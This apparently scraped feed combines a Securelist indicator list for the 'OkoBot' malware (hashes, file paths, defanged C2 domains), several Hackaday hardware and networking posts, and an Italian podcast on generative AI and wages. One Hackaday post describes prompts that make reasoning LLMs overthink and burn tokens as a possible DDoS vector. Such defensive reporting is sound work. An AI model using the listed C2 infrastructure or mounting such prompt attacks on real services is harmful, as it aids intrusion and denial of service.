77CECF5E2A622AE07D8AE9913457AB57 # Dropper
E0C3BC27A65750E740C4F1719E531C7D # Process injector

Injector payloads

3D2B43F91F65BFBF36A9C71B6B418876 # ext_daemon.exe
70FEF9FD6E351F4D53CFEEE8DCDFCD99 # seedhunter_x64.exe
ACD31C9941B6C1CABD4E45E6877B9038 # keylog_x64.dll
DD52F5108A176C62AD807C327734AD12 # oko.dll

SSH bot utilities

AC93A821617AEA1F56D4BC0BEF4AF327 # HDUtil.exe
11DBC8A2BEA04B15F8F68F3F01E8FAF9 # extl.exe

File paths

%USERPROFILE%\.ssh\go.bat
%PROGRAMDATA%\HDVideo\HDUtil.exe
%PROGRAMDATA%\hwid.dat
%PROGRAMDATA%\oko_ver
%TEMP%\extl.exe
%APPDATA%\hwid.dat

Domains and IPs

2baserec2[.]guru # TookPS
recavb22[.]online # TookPS
kbeautyreviews[.]com # TookPS
coffeesaloon[.]online # TookPS
104.243.43[.]16 # SSH bot
104.243.32[.]213 # SSH bot
62.210.188[.]209 # SSH bot
livewallpapers[.]online # Volume2 C2
thatwascringe[.]com # Volume2 C2
moonsand[.]store # SeedHunter C2

securelist.com/okobot-framewor…

With Nintendo’s 3DS experiencing a bit of a renaissance lately, prices for functioning systems have shot through the roof. Getting a busted one with a broken screen is a lot cheaper, but then you run into the eye-watering price difference between a replacement top screen for the regular version and the larger XL variant. The latter costs about the same as a whole new used 3DS, while the former goes for peanuts. Here the solution is obvious, with [Skawo] demonstrating how they hacked the cheaper, smaller top screen into a New 3DS XL.

The price difference on AliExpress as shown in the video is on the order of $120, with the smaller screen going for less than $10. Since they both use the same connector pin-out and display technology, you can plug either display into the New 3DS XL mainboard.

Where you’ll run into issues, other than the replacement display being obviously not XL, is the physically shorter flat flex cable for the controls that forces the display to be installed in an offset manner. You need jailbroken firmware like Luma3DS here to adjust for the screen offset. Filling in the missing screen real-estate is the other issue you have to patch over somehow, which was done here in barbaric fashion with some cardboard.

Beyond that it does work, and as a fix to at least get a broken New 3DS XL back into the game it’s worth considering. Do note that there’s a difference between regular 3DS and New 3DS (second generation) screens with neither being compatible, so be careful before you try such a fix.

youtube.com/embed/UjJDxgVC6-c?…

hackaday.com/2026/07/15/hackin…

Do you remember AIM? It may suprize you to hear that AOL’s instant messanger was actually supported all the way up to 2017– two years after Discord launched. Unlike Discord, AIM is a protocol, not a platform. Everything on your favourite Discord server is at the mercy of the corporate masters of said server; you can’t just spool up your own. Not so for AIM, as [Veronica] explains, both on her blog and in a YouTube video that we’ve embedded below.

The key is the fact that the AIM protocol isn’t locked into AOL’s now-defunct servers; it was reverse engineered in its prime for open-source messengers like Pidgin. You can host your own server, too, using the OpenOscarServer by [mk6i]. Even better, it’s not just AIM, but ICQ! In the sort of irony you only get in real life, the OpenOscar community does all its support on a Discord server. But then, they couldn’t hardly do it over AIM or ICQ these days.

For those of you who were too old or too young to get sucked into the 90s instant messenger craze, these protocols don’t just create chat rooms, that would be the even older Internet Relay Chat protocol, but usually worked more like SMS text messages. You have a contact list, and you send messages to your contacts via a server that acts as a hub. Once upon a time, that server was AOL’s, but now thanks to the OpenOscar project, it can be anybody’s computer. Of course, like texting, you can rope all of your contacts into one big group chat, and the protocol does support images and VOIP. (Which is starting to sound a lot like Discord.)

If you’re tired of your friend-group being at the mercy of American tech companies, [Veronica]’s blog post serves as a good guide to get you started running OpenOscarServer on a Linux system; she used a virtual private server but figures a Raspberry Pi ought to have enough grunt if you don’t have a huge number of people signed up.

For completeness, we should mention that while AOL pulled the plug on AIM nearly a decade back, ICQ, the other protocol supported by OpenOscarServer, lasted straight through until 2024.

Thanks to Keith Olson for the tip! Our tipsline is based on decentralized “electronic mail” technology that anyone can access.

youtube.com/embed/VDQTuJWST4M?…

hackaday.com/2026/07/14/aim-in…

A few years ago, France introduced a mandatory repairability score for consumer goods like laptops and tablets. It involves five criteria that range from documentation and availability of spare parts to ease of disassembly, with the manufacturer using a government-provided checklist to determine their score.

Recently Asus determined that their Asus ROG Flow Z13 – model GZ302EA – scored a 10 out of 10 using this system. This led [iFixit] to run the same tablet/laptop hybrid through their own rating system.

You can find the filled-out spreadsheet for this device here, with this Asus-provided site showing a list of devices that all score a 10/10 or a measly 9.9/10 according to this system. As a self-reported score it is hard to take it as the objective truth, as there is every incentive for the manufacturer to tweak the truth to their own benefit and gloss over inconveniences. This is where it’s interesting to compare it with [iFixit]’s 7/10 score.

On documentation, Asus gives itself a perfect score but [iFixit] finds it to be incomplete. Removal of one fan requires the disassembly of the cooler with its liquid metal thermal interface on the CPU. The wireless card, and most ports, are soldered to the mainboard. On the bright side, after you get the screen off, the insides are quite modular, which is a plus.

[iFixit] dings three points: for documentation, soldered-down components, and a fan accessibility glitch. Parts accessibility outside of France is also significantly harder, but one can hardly blame the French system for that. Overall the French self-reported rating would seem to be a fair start, but depending on which criteria you define as required you may find yourself disagreeing with the score.

In the case of LPDDR5 RAM one could argue for example that with LPCAMM2 modules soldering RAM onto the mainboard ought to be a thing of the past, and Wi-Fi modules should always be removable as well. You can take that up with the French regulators.

youtube.com/embed/1rTzEE3qyNk?…

hackaday.com/2026/07/14/benchm…

Full body tracking in VR applications involves attaching sensors to one’s body, and [Jaki] has a DIY method to do it on the cheap: the Vive Tracker Lite project repurposes Vive controllers as lighthouse-based trackers, no hardware modifications required.

A common method of doing body tracking is to strap on some Vive trackers. Those are extremely hacker-friendly pieces of hardware, but [Jaki] observed that older Vive VR controllers can be had for cheap, and already contain everything a tracker needs. Some new firmware and a custom mount is all it takes to turn them into perfectly usable body trackers.

But what about a wireless receiver? [Jaki] has that covered as well with the $5 Viva Dongle, which uses a Pro Micro NRF52840 to act as a cheap DIY alternative to the official dongle hardware.

We appreciate the effort put into making this project accessible to everyone, even novices. [Jaki]’s put effort into a Python program with a full GUI to make the flashing of firmware as easy as possible for both projects. Experimenting with body tracking in VRChat or games with mods is just some recycled hardware away.

Granted, a Vive controller is not the slimmest piece of hardware, but all it takes is a firmware change and a 3D-printed fixture to make a perfectly serviceable tracker. That being said, we’re sure an enterprising hardware hacker may crack a controller open and embark on a serious rebuild, or even interface to some of the inputs in a clever way. If you’ve done that or know of someone who has, drop us a note on our tips line because we’d love to see it.

hackaday.com/2026/07/14/full-b…

Demonstration of the DoomGeo port of Doom to the Neo Geo. (Credit: Sabino, GitHub)
Perhaps the most ridiculous statement that anyone can make is that a computer system with clearly enough processing power ‘cannot run DOOM‘. This is why we accept the premise that a PDP-11 cannot run this game, but something on the order of a Neo Geo gaming console with its 68000 processor and for the time impressive GPU definitely ought to be able to.

The stated problem here is a lack of RAM for a framebuffer, with the CPU only having 64 kB to play with. This limitation now has seen two different approaches to try and circumvent it, as covered by [Modern Vintage Gamer].

The first project here is Doom64kB, which as the name suggests tries to somehow work with this system RAM limitation. It uses the Doom8088 port for the original IBM PC and similar Intel 8088-based systems. This had to massively reduce the feature list, including the lack of texture mapping for floors and ceiling, no saving or loading, and no music.

The other project is DoomGeo, which doesn’t try to bend the Neo Geo hardware to its will, but accepts the Neo Geo way of doing things: involving sprite strips, pre-baked graphics, fix-layer UI, and a minimum of runtime data. This of course drastically changes how the Doom game engine normally works, with its framebuffer-based rendering.

From this we can thus conclude that it’s not so much the processing power that limits where DOOM can run, but more of how framebuffer-friendly the system architecture is, yet with some ingenuity and a complete rewrite of the game engine even that is no major obstacle.

(Top image: Neo Geo AES console. Credit: Evan-Amos, Wikimedia)

youtube.com/embed/VJwffCeo4jU?…

hackaday.com/2026/07/14/the-ne…

Can you call it a bandsaw if it has neither band nor saw? [WeldingRod1] does, with his entry in the laser contest — a manually-controlled laser cutter that he’s dubbed a Laser Bandsaw. Some might quibble that it’s not actually sawing with the beam, and others will inevitably find the safety implications rather frightening. We think it’s a fun project and that [WeldingRod1] can call it what he wants, as long as he follows his own advice and keeps his laser goggles firmly on his precious vision orbs.

He has actually put some thought into what started as the physical manifestation of a joke in a podcast. The blue diode laser — a NUBM44 diode rated at 7 W — got a custom-made copper heatsink. It’s also got a hefty beam dump in the form of a stack of box knife blades. That’s very necessary to keep the beam from reflecting where it shouldn’t, especially when you consider this operates like a regular band saw: you turn it on, and it’s ready to cut. With only 7 W of laser power it can’t cut that much, mind you, but apparently it’s great on balsa wood and blasts black paint off like nobody’s business.

Now if this was our shop we’d probably want to put the laser diode onto some kind of CNC platform, be it Cartesian or SCARA. But we’ve seen that done many, many times and if you’ve got the motor skills this might be just the tool for you. There’s a pinout and STLs for the 3D printed frame on the project page if you’re interested. If not, why are you still here? The article is finished. Go make something lase and send it in. The deadline for the 2026 Frikkin Laser Contest is fast approaching!

hackaday.com/2026/07/14/2026-f…

At the current rate of robotics development, you might assume that we’re close to Skynet taking over. However, while we likely wouldn’t do well in a physical fight against a robot, we can at least keep the bragging rights of having the cooler actuators. Or at least, that was the case before a new actuator came into town — introducing “Electrofluidic Fiber Muscles”.

Traditional robotic actuators use motors of some kind with a variety of gearboxes or linkages to turn rotational movement into usable movement. This isn’t always the most effective way to run some robotics movements, especially when modeling humans. This is why many have turned to pressurized modes of actuation. Though most don’t show quite the promise of the new player.

Electrofluidic Fiber Muscles use pressure to shorten muscle strands, similar to past actuators. However, these are a tad different, taking advantage of electrofluidic pressure. A small current under high voltage is able to drive a pressure gradient in a long tube. This tube can then be connected to both an extensor and flexor portion of an actuating circuit, similar to a biological mechanical system. Better yet, this driving pressure pump can be spun around the fibers themselves, making a tight package.

Unfortunately, it will probably be a bit till we see this inside a hobbyist robot. Until then, make sure to check out some other actuator feats!

youtube.com/embed/8h4UEZTyres?…

hackaday.com/2026/07/14/fibrou…

In the previous installment on UDP broadcasting and service discovery, the basics of both were explored, including an implementation in the form of NyanSD and its protocol. Contained in the comment section was a very good demonstration of why one of the most exciting aspects of software development is the opportunity to share your latest creations with other people. This being the ability to get solid feedback on all the points – including any potential boneheaded omissions – that you really should address, whether intentional or accidental.

The most pertinent point raised was definitely that of broadcast addresses and IPv4 subnets, with the latter topic especially being something that the sysadmins at the office would talk about all the time, but which us software developers were always happy to ignore as something that didn’t concern us. Turns out the joke was on me and everyone else – like our esteemed readers – who thought that they could escape the fascinating world of subnets, as today we’ll take an in-depth look at what subnets are and how they are relevant to the world of UDP network discovery.

I somewhat alluded in the first article to the topic of ‘which broadcast address to use’ as being somewhat of a rough topic to figure out, which is clearly why I just stuck to a blatantly ‘works for me’ /24 subnet that usually will work on networks, until it does not.

Subnet And Conquer

Basic subnetting concept. (Credit: Michel Bakni, Wikimedia)
The short version of ‘what is a subnet’ is to point at the subnet mask that we have been mostly mindlessly mashing into networking configuration dialogs along with the IPv4 address for many decades now. Usually this takes the form of 255.255.255.0, which is just the human-readable version of the actual bitmask. Here the loopback interface already tends to use 255.0.0.0 as its netmask, which is a detail that tends to be easy to gloss over as this is just one of those local OS things.

Putting netmasks in the crudest and simplest terms, they are a bitmask that is used to identify how an IPv4 pool of addresses is split up by defining which bits of the 32-bit IPv4 address identify a subnet. Normally we call the trailing part of an IPv4 address (the .123) the host identifier, with the preceding section the network identifier.

By masking part of this host ID and using it to create a subnet identifier, we can then use this for additional routing, just at the cost of a reduced number of possible host IDs within that subnet.

As an example, the common 255.255.255.0 mask identifies the first 24 bits (3 bytes) of the 32-bit (4-byte) IPv4 address, hence the mask being referred to as /24. With this mask, the remaining host ID bits allow for 256 hosts, of which two are not used for hosts: the first (e.g. 192.168.0.0) and last (e.g. 192.168.0.255) in the range. The last host ID in the range forms the broadcast address for that subnet.

This is why, for a /24 subnet, you can generally get away with just slapping a .255 on the end of an interface’s address, but also why for other subnet configurations it’s likely to explode violently.

To get briefly back to the loopback’s /8 style netmask, this means a single subnet with a maximum of 16,777,214 hosts, which ought to be sufficient for local system networking shenanigans. Its opposite extreme would be the /31 style netmask, which with just two potential host IDs is practically useless.

IPv6 subnetting is similar, but due to the much larger address pool and differences in the protocol this is a whole other kettle of fish that is as likely to send a network administrator’s heart racing in excitement as it is to make the average software developer run away screaming. This can be a fun topic for another day, perhaps.

This overview of IPv4 subnetting also skips over details like the different classes of IPv4 subnets beyond the Class A type here, but those are happily left to sysadmins and kin for now.

Sub-casting

In order to thus obtain the broadcast address for a given network interface you need to know two things: the IPv4 address and its associated netmask. From this you can then tell three things: the subnet ID, the broadcast address in that subnet, and the current host ID. Of these we only really care about the the second item.

Although you can obtain the broadcast address yourself by applying the netmask to the address, the OS’s APIs tend to happily give you the precomputed broadcast address. If that’s not your style or not an option, a manual procedure is to:

1. Determine the number of host ID bits using the netmask.
2. Set all bits to 1 in these bits to get the highest possible host ID.
3. Use this value along with the original masked (i.e. network ID) bits to obtain the broadcast address.

If we thus start with a 192.168.0.0/24 network, we end up with 192.168.0.255, while for a 192.168.0.0/26 network with just six bits available the maximum value is 64, ergo we get 192.168.0.63, since we start counting at 0.

With this we can now broadcast UDP packets on any interface without any (major) worries.

Local Broadcast Address

A small glitch in the whole above story is that there’s actually another broadcast address, one which is always the same for each interface and can be considered to make the whole preceding explanation completely irrelevant. This being the local, or limited, broadcast address, which is either the best thing since sliced bread or the worst sin ever committed in the history of IP networking, depending on whom you ask.

This cheat code takes the form of the address 255.255.255.255 and if you send a packet on a UDP socket to it, you’ll get happy UDP responses from any service that is listening on the specified port. This raises the point of why you’d not just use this broadcast address on all interface, rather than bother with all the earlier described nonsense.

The only major difference between this local broadcast address and the earlier described directed broadcast address is that the latter can also used to target a foreign network, instead of just the local network. This makes it a very attractive option if you just want to query the local network with UDP broadcast packets.

As for why you’d not want to use a local broadcast address, I couldn’t really find any references or citations on why this would be the case. Both would appear to be perfectly valid approaches to broadcasting, each with its own pros and cons.

Bugs

One final topic was my mistaken hardcoding of a /24 style broadcast address in NyanSD. Here reader ziew helpfully pointed me towards the Poco::Net::NetworkInterface::broadcastAddress() function, which seemed perfect. Unfortunately Poco’s implementation at least on Windows 10 appears to be rather broken.

After getting only 0.0.0.0 as broadcast address from this function, I had a bit of a look at what was happening, including checking what I got as subnet mask both for the default index parameter and for the next index. Across two different Windows 10 installations and both GCC in MSYS2 as well as MSVC 2017/2022 with various versions of Poco the returned values were… interesting enough to file a bug report on the Poco issue tracker.

Clearly this isn’t going to be fixed just yet, but on the bright side the horrific atrocity that I committed by hardcoding a /24 broadcast address will still work on basically every home LAN out there that NymphCast is likely to be used on.

Maybe I could just switch to a local broadcast address and that’d be even better. Feel free to torch down this idea in the comments, just be sure to provide solid reasoning and cite your sources.

A Complex Topic

Writing out the above pretty much clarifies I think why past me got a bit overwhelmed when trying to ‘just do a UDP broadcast thing’. Even just scratching the surface of IPv4 subnets and not even venturing into IPv6 territory makes one already feel a bit antsy.

Certainly, one could totally argue that anything other than a /24 network is unlikely to be encountered outside of certain government and business networks with either very specific needs, very enthusiastic sysadmins, or both, but it’s always better to design software with such real-life scenarios in mind.

hackaday.com/2026/07/14/udp-br…

If you have even the slightest interest in open hardware e-readers, you’ve certainly heard of [Joey Castillo]’s Open Book project. We’ve covered his efforts to develop an affordable reader that delivers a Kindle-like experience without the Orwellian megacorp trappings for several years now, and watched with great interest as the core hardware has evolved.

So we were particularly excited over the weekend to see the Open Book Touch finally hit Crowd Supply, and judging by the fact that the campaign for the $149 device has already blown past 60% of its funding goal in just a few days, it seems like we weren’t the only ones.

As the name implies, this latest iteration of the e-reader does away with physical navigation buttons and introduces an intuitive touch-based interface. Those who like to enjoy their open source hardware under the covers will be glad to hear that not only does this new version of the Open Book finally include an illuminated display, but it even allows you to adjust the color temperature and brightness of the LEDs with the swipe of a finger.

While the hardware improvements over the previous Open Book are impressive, the software has really come a long way as well. The user interface lets you organize your books on virtual shelves and browse through their covers, providing the sort of slick experience that you’d expect from a modern e-reader. You can also look up the definitions of words, or dog-ear favorite pages so you can return to them later.

But what you won’t get is locked down with DRM — the Open Book Touch uses standard EPUB and TXT files loaded from a micro SD card, and thanks to the WiFi-enabled ESP32 at its heart, it offers up a web interface that lets you manage your collection over the network.

It’s been nearly a decade since the Open Book first graced our pages, and though we’re not in the habit of picking favorites here at Hackaday, this is one project where the stakes are so high that we can’t help but feel invested. Reading shouldn’t require a subscription fee, or depend on a proprietary piece of hardware that can get ejected from its own ecosystem once its maker decides you need a new one. Obviously the Open Book Touch won’t even make a dent in the market share that Amazon’s Kindle enjoys, at least there will be an option available for those who wish to keep reading on their own terms.

youtube.com/embed/Q9Q-Lu43DOc?…

hackaday.com/2026/07/14/open-b…

Back in the days when an integrated circuit meant a simple but expensive device such as a 741 or a 555, most electronics enthusiasts made do with discrete transistor circuits. The common emitter amplifier and its variants are the most familiar, but the humble 3-legged device can do so much more. A particularly obtuse circuit is the subject of examination by [lcamtuf], the reverse avalanche oscillator. A 2N2222, a capacitor, an LED, and a resistor, the transistor is the wrong way round, and there’s nothing on its base. Yet the LED flashes, what on earth is up!

The answer lies in avalanche breakdown, the behavior of a reverse biased diode junction as the voltage across it increases. Eventually the electric field reaches the point at which an avalanche of electrons crosses the depletion layer, and the junction conducts. When connected across an RC circuit, the voltage in the capacitor slowly rises to the point at which avalanche breakdown occurs, and the capacitor abruptly discharges. As the voltage falls the avalanche conduction stops, and the cycle repeats itself. It’s a relaxation oscillator.

We’re treated to an explanation of why a transistor behaves this way and why a simple diode doesn’t, due to a “hump” in its I/V curve, and why the emitter-base junction has a lower breakdown voltage than the collector-base. It’s one of those circuits which looks as though it shouldn’t work, but never fails to oscillate.

Want to know more about transistors? Do we have the series for you!

hackaday.com/2026/07/14/the-se…

This following statement is a lie: “I am telling the truth”. Okay, now that it’s just us meatbags, let’s get down to brass tacks. Captain Kirk’s logic bombs couldn’t possibly work on modern LLMs, right? Surely that was just a bit of 1960s silliness from when computers filled rooms and were esoteric magic even to most sci-fi writers?

Well, not entirely, according to a recent article in IEEE Spectrum. While you might not be able to make a data center explode, you certainly can use a lot of tokens by making an LLM overthink with your prompt.

It comes down to the much-vaunted ‘reasoning’ ability of the new models — which isn’t really reasoning the way we think of it, but does involve breaking the stated prompt down into smaller problems. That’s part of what lets the new models tackle such involved tasks as porting MicroPython to the SNES with a prompt like “Please make this [stuff] work now!” It’s also a weakness, because with the right prompt you can get that virtual ‘reasoning’ to tie itself in knots with mutually incompatible smaller steps.

The models seem to be able to break out of it, but they burn a lot of tokens along the way, which is an attack in and of itself if you’re found a way to inject prompts into someone else’s API. It’s a little more subtle than what Kirk got up to, but underneath it’s essentially the same thing. At scale, it could serve as a DDoS attack on LLM servers. (Un)Fortunately, modern computers are better designed than their imaginary 23rd-Century counterparts, and there’s no way to craft a logic bomb into something that will let out the magic smoke.

hackaday.com/2026/07/13/star-t…

Io non ho ataccato Quintarelli, anche se poteva sembrare. E Raccuglia non ha attaccato me, e nemmeno lo sembrava. Scuse al primo, risposte al secondo, pace a tutti.

dk.dataknightmare.eu/dk10x39-d…

dataKnightmare Archive

2026-07-14 04:10:46

DK 10x39 - Dissing

Ascolta l'episodio su Spreaker.com

Prima chiariamo una cosa, e poi rispondiamo a Alex Raccuglia, ok?

Allora, ecco la cosa da chiarire. Qualcuno ha sentito l'ultimo episodio o letto il post (visto che escono in contemporanea) e ne ha concluso che io avevo attaccato Stefano Quintarelli.

Ora, io sono bello, simpatico e intelligente, ma anche io ho i miei limiti. Uno di questi è che quando attacco qualcuno sono generalmente in grado di intendere e di volere, quindi il fatto che non ricordassi di averlo fatto, o di avere mai avuto un motivo per farlo, mi ha momentaneamente spiazzato.

Vediamo il passaggio incriminato:

Mi dispiace vedere una simile quantità di stronzate pubblicata sul Sole, sarà che ci ha lavorato Quintarelli. Quest'ultimo barrage di stronzate non vale nemmeno il fiato per chiamarle per nome. Ma purtroppo, come tutte le stronzate che girano attorno all'Intelligenza Artificiale, fanno un sacco bene alla carriera.

Allora, un minimo di contesto. L'episodio commentava un'intervista al prof. Sorgner uscita sul Sole 24Ore a firma di Roberto Manzocco.

Dire che avevo forti riserve nei confronti delle tesi sostenute da Sorgner, che è fautore di una cosa che chiama Euro-Transumanesimo, sarebbe un eufemismo di livello olimpico. Il paragrafo appena che ho riletto dovrebbe bastare come esempio.
intarelli. E ammetto che rileggendolo con attenzione, è decisamente ambiguo.

La frase "Mi dispiace vedere una simile quantità di stronzate pubblicata sul Sole, sarà che ci ha lavorato Quintarelli." può essere interpretata in due modi:

1. il Sole era un giornale serio, poi ci ha lavorato Quintarelli e quindi ora è pieno di stronzate;
2. Quintarelli ha lavorato al Sole, che quindi è un giornale serio, e mi dispiace leggerci queste stronzate.

Ora, chi mi conosce sa esattamente come andava letta. Ma rimane il fatto che, essendo io marginalmente meno famoso di Taylor Swift, la frase è ambigua. Questo fatto è colpa mia, e me ne scuso.

La lettura corretta è: Il Sole è il giornale dove ha lavorato Quintarelli, questo fatto lo rende per me è un giornale serio, mi dispiace leggerci certe stronzate.

Quindi no, non attaccavo Quintarelli. E giusto per non lasciare dubbi non ce l'ho nemmeno con Manzocco. Il pezzo era un'intervista a Sorgner per l'uscita del suo libro, e l'intervista faceva chiaramente capire i valori e le motivazioni dell'intervistato, quindi Manzocco ha fatto un lavoro egregio.

OK. Adesso metà di voi può risotterrare l'ascia di guerra.

All'altra metà, vorrei pacatamente far sapere che neanche Alex Raccuglia attaccava me. Ringrazio Marco "Cassandra" Calamari che ha voluto farmi sapere che gli rispondeva ma che non voleva "bruciarmi", ma veramente, non c'è problema. Peraltro, il pezzo di Cassandra mi è piaciuto, e mi è piaciuto anche il vlog di Alex.

Ora, io capisco che nel suo ultimo episodio Alex è agli antipodi delle mie opinioni. Ma considerato che le esprime in un modo civile, non vedo il problema. Non è che siamo qui per fare la guerra santa.

Se non avete seguito, il vlog/podcast di Alex si chiama "TechnoPillz", tutto attaccato con l'acca e la zeta, e l'episodio si chiama "Lettera aperta a Walter Vannini".

Ora, sul canale ho letto un sacco di critiche, alcune poste meglio di altre, e un sacco di astio non necessario.
Voglio dire, se Alex riesce a fare discorsi di senso compiuto mentre guida per andare in ufficio, dove sta il problema?

Il valore di un argomento sta nell'argomento, non nella modalità di presentazione; non è che ha più valore se lo declami in giacca e cravatta da un podio e meno se lo esterni in bermuda e maglietta mentre ti fai una birra. (Io, per dire, ho le migliori idee per gli episodi mentre mi faccio la doccia.)

E l'argomento di Alex non è da trascurare. Cosa ha detto? Questo:

1. che lui da videomaker l'Intelligenza Artificiale generativa la usa eccome,con risultati che lo soddisfano,
2. che con l'Intelligenza Artificiale riesce a affrontare progetti che, per limiti di risorse e budget, non riuscirebbe a fare altrimenti,
3. che secondo lui non bisogna buttare il bambino con l'acqua sporca
4. e che finché rimane economicamente percorribile, secondo lui non si torna indietro.

Ora, a parte che Alex è un amico, queste non sono solo opinioni legittime, sono anche condivise da molti.

Questo non significa che io non ci veda dei problemi. Vediamo di andare in ordine.

Allora. "Per me funziona" è un argomento cardine del soluzionismo da Big Tech, e è sempre un argomento difficile, e ancora di più per qualcosa come l'Intelligenza Artificiale generativa, venduta come panacea per tutto ma senza alcuna garanzia del produttore, ci mancherebbe.

Siamo quindi di fronte a una tecnologia della quale gli utenti stessi sono chiamati a fornire (gratuitamente, ca va sans dire) i casi d'uso.

C'è poi il problema che l'Intelligenza Artificiale generativa usata nella produzione di video non è la stessa cosa di quella usata nella produzione di testi, ma diciamo che sorvoliamo, sennò non ne usciamo più.

Quindi, Alex fa i video con l'aiuto della IA generativa, gli vengono bene e ci trova un vantaggio. Bene. Io il suo corto l'ho visto, ma anche se è tenero e carino, perfino io riesco a vedere che ci sono dei problemi di continuity, di cose che cambiano da una inquadratura all'altra senza motivo apparente. Quindi ok, interesse, ma il mio entusiasmo è limitato. Diciamo che si alza il livello minimo accettabile, ma non è che io con la Intelligenza Artificiale generativa divento Spielberg.

Ma diciamo che è un problema che si risolve con la prossima versione, un altro classico del soluzionismo da poveri di spirito propagandato da Big Tech come Vangelo.

Torniamo a noi. Se i risultati che ottieni con l'Intelligenza Artificiale sono soddisfacenti, e se addirittura ti permettono di affrontare progetti prima proibitivi, vuol dire che davvero l'Intelligenza Artificiale ti rende più produttivo.

Ottimo. E questa produttività si traduce in qualcosa di tangibile nel tuo stipendio o se la ingloba il datore di lavoro perché stare al passo col progresso è qualcosa che devi fare a spese tue?

Perché il punto non è l'Intelligenza Artificiale, il punto è che dagli anni '80 del Novecento, la produttività individuale è cresciuta continuamente, ma i salari sono rimasti fermi, al punto che un "buono stipendio" oggi è, in termini reali, inferiore a quello che prendevo nel 1990 come neolaureato al primo impiego.

Quindi OK, l'Intelligenza Artificiale ti rende più produttivo, e quindi produci più lavoro per lo stesso stipendio. Io non lo vedo come un passo avanti.

E non siamo fuori tema. Qual è il problema da un miliardo di dollari che la Intelligenza Artificiale dovrebbe risolvere? Te lo dico io: si chiama stipendi.
Da quando è uscito chatGPT il coro è stato unanime: siamo di fronte a una tecnologia che sostituirà i lavoratori. Lasciamo stare che la promessa non sia nemmeno lontanamente vicina all'essere raggiunta. Il punto è che i datori di lavoro ci credono perché sanno benissimo che anche se non è letteralmente vero, tutto quello che riduce il potere contrattuale di chi lavora è bene accetto, anche se costa di più.

Quindi tu stai dicendo al tuo datore di lavoro che puoi rendere di più a parità di stipendio. Che già secondo me è una cosa problematica, ma lui non capisce solo questo. Perché se da videomaker diventi, diciamo, "regista di Intelligenze Artificiali", perfino un manager riesce a capire che per scrivere prompt non servi tu, ma va bene chiunque.

Quindi come sempre il problema non è l'Intelligenza Artificiale generativa in sé, che è solo tecnologia, ma gli effetti che ha.
E gli effetti che descrivi sono che tu perdi potere contrattuale nei confronti del tuo datore di lavoro, e allo stesso tempo la tua professionalità viene sminuita, perché stai dimostrando che tutte le competenze e le capacità che facevano del tuo lavoro il tuo lavoro si riducono a tirare i dati con una o più Intelligenza Artificiale generative.

Dici giustamente che con l'Intelligenza Artificiale generativa puoi affrontare progetti che prima, per problemi di budget e risorse, sarebbero stati impercorribili.

Bene, ma se questo non si traduce in un incremento del tuo valore, non riesco a vedere in che senso sia una cosa positiva.

Non sei un radiologo che, se gli dai in mano un impianto per Risonanza Magnetica, riesce a diagnosticare di più e meglio, restando comunque radiologo.

Sei un videomaker che passa dal vendere la propria competenza di inquadrature, tempi scenici, luce, colore, sceneggiatura e regia, a qualcuno che si mette sullo stesso piano del proverbiale "cuggino che capisce il computer".

Gli informatici, o almeno questo informatico, hanno passati almeno gli ultimi quarant'anni a cercare di convincere il mercato di portare una competenza che va al di là del sapere usare il tal programma. Battaglia persa, sia chiaro. Basta guardare le offerte di lavoro oggi, che nella parte "competenze" sono solo una litania di nomi di prodotti.

E non parliamo delle certificazioni, che sono quasi universalmente certificazioni di prodotto. Prima eri un tecnico di rete Novell, ora sei un tecnico di rete Google o AWS, non cambia niente.

Nel migliore dei casi, certo, una persona con reali competenze di networking può riversarle in qualsiasi framework commerciale il momento richieda. Ma questo lo rende, agli occhi del datore di lavoro, più appetibile di qualcuno che conosca solo quello specifico framework? Non credo.

E poi, umanamente, perché spendere tempo e fatica a costruire una professionalità di settore generale e commercialmente agnostica, se poi comunque si viene pagati solo per la competenza di prodotto?

E il problema di scambiare la competenza professionale con la competenza di prodotto è che il tempo passa, i prodotti cambiano, e la tua competenza, quella con cui sei partito e quella che ti sei fatto sul campo, vale sempre zero. Se proprio sei fortunato, la ditta ti paga la ricertificazione, tanto è deducibile e costa sempre meno che aumentarti lo stipendio.

Ancora una cosa. Dici, giustamente, che il fattore "costo" ha il suo peso. Noi sappiamo già oggi che, per generare profitti, i prodotti di Intelligenza Artificiale generativa devono aumentare i propri costi di almeno 20 volte.

Quando questo succederà, le aziende si troveranno a dover ridurre i costi. Io mi faccio la domanda: cosa taglieranno? Perché se succede domani, tagliano i contratti con openAI e Anthropic.
Che infatti stanno facendo carte false per poter continuare a operare con perdite disastrose per almeno un altro paio d'anni.
Ecco, diciamo che fra due anni il venture capital si inaridisce e gli AI bro moltiplicano i prezzi per venti.

Fra due anni, il tuo datore di lavoro cosa taglierà:

• lo strumento con cui ha potuto aumentare i guadagni, raggiungere clienti e progetti che non avrebbe potuto raggiungere, e porsi sul mercato come all'avanguardia della tecnologia produttiva...
• o un lavoratore il cui costo non è più giustificato, e che può essere cambiato senza influire sull'immagine della ditta e sulle sue capacità produttive?

Chiedo per un amico...

pausa

Mica è ancora finita.

Il costo alla pompa non è la sola cosa di cui dobbiamo preoccuparci per valutare l'impatto sociale di una tecnologia, non dopo tutto quello che abbiamo imparato in questi anni.

No sappiamo che la filiera di una cosiddetta Intelligenza Artificiale generativa, sia testuale che grafica, è un disastro completo.

Partiamo dall'inizio. Si parte dal furto generalizzato di proprietà intellettuale a esclusivo vantaggio di oligopoli privati. Si procede con lo sfruttamento, in condizioni praticamente schiavistiche, di lavoratori in varie fasi del cosiddetto "controllo di qualità". Si va dall'Africa dove ai lavoratori viene chiesto di "scremare" a cottimo contenuti "indesiderati" (si sentono le virgolette?), con costi terrificanti in termini di salute mentale, fino a Europa e Stati Uniti dove, sempre a cottimo, i lavoratori devono fungere da "correttori di bozze" per l'Intelligenza Artificiale generativa.

Si tratta di lavori che risolvono problemi creati dalla stessa industria dell'Intelligenza Artificiale generativa, che ha consapevolmente scelto di raccogliere dati in modo indiscriminato, con costi esorbitanti di raccolta e di processo.

Perché?

Perché questo supporta la propria mitologia di grandezza, di un'industria che opera su scale fino ad oggi inimmaginabili per affrontare problemi fino ad oggi inimmaginabili, nonostante il sillogismo sia stato provato falso sin dall'inizio.

Si tratta di lavori senza senso, senza prospettiva, senza alcun valore professionale o culturale. Puro teatro a esclusivo vantaggio dei deliri millenaristici di una casta di oligarchi fascistoidi e buffoni.

Naturalmente il pensiero corrente promuove l'idea che sticazzi i lavoratori perché chi ha un lavoro di merda è colpa sua, non esistono poveracci stipendiati, solo founder milionari in momentanea difficoltà, e naturalmente l'Intelligenza Artificiale generativa li porterà tutti in auge.

